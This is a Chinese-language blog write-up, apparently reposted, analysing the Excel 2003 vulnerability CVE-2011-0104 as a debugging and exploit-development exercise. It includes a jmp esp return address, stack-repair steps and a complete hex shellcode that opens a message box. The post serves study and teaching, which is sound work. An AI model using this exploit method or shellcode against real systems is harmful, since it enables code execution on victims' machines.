当前位置: 首页 > news >正文

漏洞分析丨cve20110104

作者丨黑蛋

目标程序

调试工具

16进制编辑器

XP SP3

office 2003

ollydbg

010Editor

三、漏洞验证

首先我们配置环境,并下载poc:

使用ollydbg附加office excel 2003:

打开poc

可以看到发生了访问违规异常,像地址0x51453844中写入时发生异常,证明漏洞是存在的。

四、漏洞复现

继续上述操作,到发生异常的时候,回到堆栈,然后转到EBP附近:

可以看到给EAX赋值EBP+2C的值,再向EAX中的地址写入时发生了异常。

接下来记下300CE361这个发生异常的地址,下断点,再自己随意创建一个文件:123.xlb,然后继续打开excel并用ollydbg附加,我们看看异常时候堆栈的正常情况是咋样的:

可以看到EBP这里是不一样的,然后我们在堆栈中对EBP+4的位置按回车:

可以看到这里就是关键函数,我们下断点(300CFACF),然后重新运行,打开poc:

可以看到断点断在了关键函数,

接下来我们顺带在0013AA90(此时EBP+4)处下内存写入断点,然后跑起来,第一次断在了一个拷贝代码处:

但是查看堆栈,这里并不是0013AA8C处,我们继续运行,同样停留在这个地方,而此时的堆栈已经在0013AA90附近:

我们在断点处上方shr ecx,2处下断点,然后重新运行,按照前面经验,我们需要断在第二次,然后观察:

可以看到拷贝数据是ESI指向的一坨,然后拷贝起始地址在0013AA3B,拷贝长度是300。我们记下这一坨,在poc中查找:

然后我们锁定堆栈,再走完拷贝代码,可以看到返回地址被修改,同时这块被篡改的数值是30424232,记录这个数据可以待会构造payload:

然后我们ctrl+f查找jmp esp:

接下来用010Editor打开poc,找找前面那坨拷贝数据:

接下来我们初步构造一下,把返回地址那里改成jmp esp地址(30018447),然后后面跟上我们的祖传弹窗shellcode,其他地方改成90909090:

弹窗shellcode:

FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C

8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53

68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B

49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95

FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59

20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A

C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75

E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03

2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB

53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50

53 FF 57 FC 53 FF 57 F8

然后在shellcode结尾加4个90隔开:

接下来我们继续用excel打开改造后的xlb:

可以看到位置没有出错,我们执行到返回,发现并没有执行到跳板指令那里,我们继续执行到返回,然后再继续执行到返回,结果出现异常:

可以看到这里出现异常,所以我们需要修复堆栈,在EBP+2C的地址放一个可以写入的地址(0013AA7C),然后前面都是90909090,再加一个短跳跳到EBP+2C的位置,然后在EBP+2C+4的位置开始放入shellcode:

短跳(EB 12):

开始构造新的payload:

然后继续测试,可以看到这里没有发生异常:

到了jmp esp:

这里出了岔子,跳到了shellcode+4的位置,导致代码识别出错,我们需要把shellcode再往后挪一下:

这次成功了:

http://www.lryc.cn/news/35368.html

相关文章:

  • 关于vue-router路径配置的问题(此文主要是记录三级路由的访问路径,以及安装、路由组件、路由重定向)
  • SpringBoot 整合 clickhouse和mysql 手把手教程全网最详细
  • Leetcode-java 数据结构回顾 Day01
  • Java spring cloud 企业工程管理系统源码+项目模块功能清单
  • 用Biome-BGC模型如何模拟水循环过程
  • 【目标检测论文解读复现NO.33】改进YOLOv5的新能源电池集流盘缺陷检测方法
  • 二进制转换之命理学习
  • es6 常见规范
  • 大学计算机基础填空题
  • 低代码开发平台是什么意思?低代码开发平台优势!
  • CSAPP - Bomb Lab
  • Docker 常见操作及部署springboot、Shiro、SpringData脚手架(下)
  • 【前端学习】D3:CSS进阶
  • 中移杭研面试经历
  • [CV学习笔记] yolotensorrt多线程推理-第一部分
  • element ui 的滚动条,Element UI 文档中没有被提到的滚动条
  • 项目四:使用路由交换机构建园区网-任务三:配置路由交换机并进行通信测试
  • 数据仓库面试题汇总
  • 【Redis】哨兵机制(三)
  • 好用的电脑录屏工具有哪些?电脑好用的录屏工具
  • Ubuntu20.04部署安装Kubernetes1.23<最新尝试,无坑版>
  • 九龙证券|6G概念重新活跃 数字经济板块引领A股尾盘回升
  • 使用RabbitMQ发送短信
  • 10Wqps评论中台,如何架构?B站是这么做的!!!
  • 浅谈Linux下的shell--BASH
  • 邻桌为何一天就学完了SQL基础语法,数据分析必学的SQL,满满硬货
  • 机器视觉工程师国内出差必备神器
  • ReentrantLock 源码解读
  • 【算法】六大排序 插入排序 希尔排序 选择排序 堆排序 冒泡排序 快速排序
  • 类和对象万字详解